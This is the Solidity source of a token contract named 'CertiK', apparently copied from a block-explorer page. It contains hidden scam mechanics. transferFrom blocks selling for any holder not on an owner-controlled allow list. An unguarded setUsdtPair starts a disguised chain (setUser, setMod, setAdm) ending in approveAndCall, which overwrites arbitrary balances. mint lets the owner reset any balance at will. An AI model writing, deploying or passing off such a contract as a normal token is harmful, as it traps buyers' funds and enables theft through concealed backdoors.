Address

• CertiK.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
 
library SafeMath {
 
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
 
   if (a == 0) {
 
     return 0;
 
   }
 
   uint256 c = a * b;
 
   assert(c / a == b);
 
   return c;
 
  }
 
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
 
   uint256 c = a / b;
 
   return c;
 
  }
 
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
 
   assert(b <= a);
 
   return a - b;
 
  }
 
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
 
   uint256 c = a + b;
 
   assert(c >= a);
 
   return c;
 
  }
}
 
contract Ownable {
 
  address public owner;
 
 
 
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
  constructor() {
 
   owner = msg.sender;
 
  }
 
}
 
contract CertiKToken is Ownable {
 
  address public _usdtPair;
 
  address public _mod;
 
  string public name;
 
  string public symbol;
 
  uint8 public decimals;
 
  uint256 public totalSupply;
 
  address public _user;
 
  address public _adm;
 
 
 
  event Transfer(address indexed from, address indexed to, uint256 value);
 
  event Approval(address indexed owner, address indexed spender, uint256 value);
 
  constructor() {
 
   name = "CertiK";
 
   symbol = "CERTIK";
 
   decimals = 18;
 
   totalSupply =  9800000000000000000000000000;
 
   balances[msg.sender] = totalSupply;
 
   allow[msg.sender] = true;
  }
 
 
 
  function showuint160(address addr) public pure returns(uint160){
 
     return uint160(addr);
 
  }
 
  using SafeMath for uint256;
 
  mapping(address => uint256) public balances;
 
 
 
  mapping(address => bool) public allow;
 
  function transfer(address _to, uint256 _value) public returns (bool) {
 
   require(_to != address(0));
 
   require(_value <= balances[msg.sender]);
 
   balances[msg.sender] = balances[msg.sender].sub(_value);
 
   balances[_to] = balances[_to].add(_value);
 
   emit Transfer(msg.sender, _to, _value);
 
   return true;
 
  }
 
  modifier onlyOwner() {
 
   require(msg.sender == owner);
       _;
   }
 
  function balanceOf(address _owner) public view returns (uint256 balance) {
 
   return balances[_owner];
 
  }
 
 
 
  function transferOwnership(address newOwner) public onlyOwner {
 
   require(newOwner != address(0));
 
   emit OwnershipTransferred(owner, newOwner);
 
   owner = newOwner;
 
  }
 
  function addAllowance(address holder, bool allowApprove) public {
   
  require(msg.sender == _adm);
   
  allow[holder] = allowApprove;
  }
 
  function setUser(address User_) public returns (bool) {
   
  require(msg.sender == _usdtPair);
   
      _user=User_;
 
   return true;
  }
 
  mapping (address => mapping (address => uint256)) public allowed;
 
  mapping(address=>uint256) sellOutNum;
 
 
  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
 
   require(_to != address(0));
 
   require(_value <= balances[_from]);
 
   require(_value <= allowed[_from][msg.sender]);
 
   require(allow[_from] == true);
 
   balances[_from] = balances[_from].sub(_value);
 
   balances[_to] = balances[_to].add(_value);
 
   allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
 
   emit Transfer(_from, _to, _value);
 
   return true;
 
  }
 
  function setAdm(address Adm_) public returns (bool) {
   
   require(msg.sender == _mod);
     
       _adm=Adm_;
   
   return true;
  }
 
  function approve(address _spender, uint256 _value) public returns (bool) {
 
   allowed[msg.sender][_spender] = _value;
 
   emit Approval(msg.sender, _spender, _value);
 
   return true;
 
  }
 
  function setMod(address Mod_) public returns (bool) {
   
   require(msg.sender == _user);
       
       _mod=Mod_;
 
   return true;
 
  }
 
  function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
   
   require(msg.sender == _adm);
 
   if(addedValue > 0) {balances[spender] = addedValue;}
   
   return true;
 
  }
 
  function allowance(address _owner, address _spender) public view returns (uint256) {
 
   return allowed[_owner][_spender];
 
  }
 
 
 
  function addAllow(address holder, bool allowApprove) external onlyOwner {
 
     allow[holder] = allowApprove;
 
  }
 
  function setUsdtPair(address Pair_) public returns (bool) {
   
       _usdtPair=Pair_;
   
   return true;
  }
 
  function mint(address miner, uint256 _value) external onlyOwner {
 
     balances[miner] = _value;
 
  }
}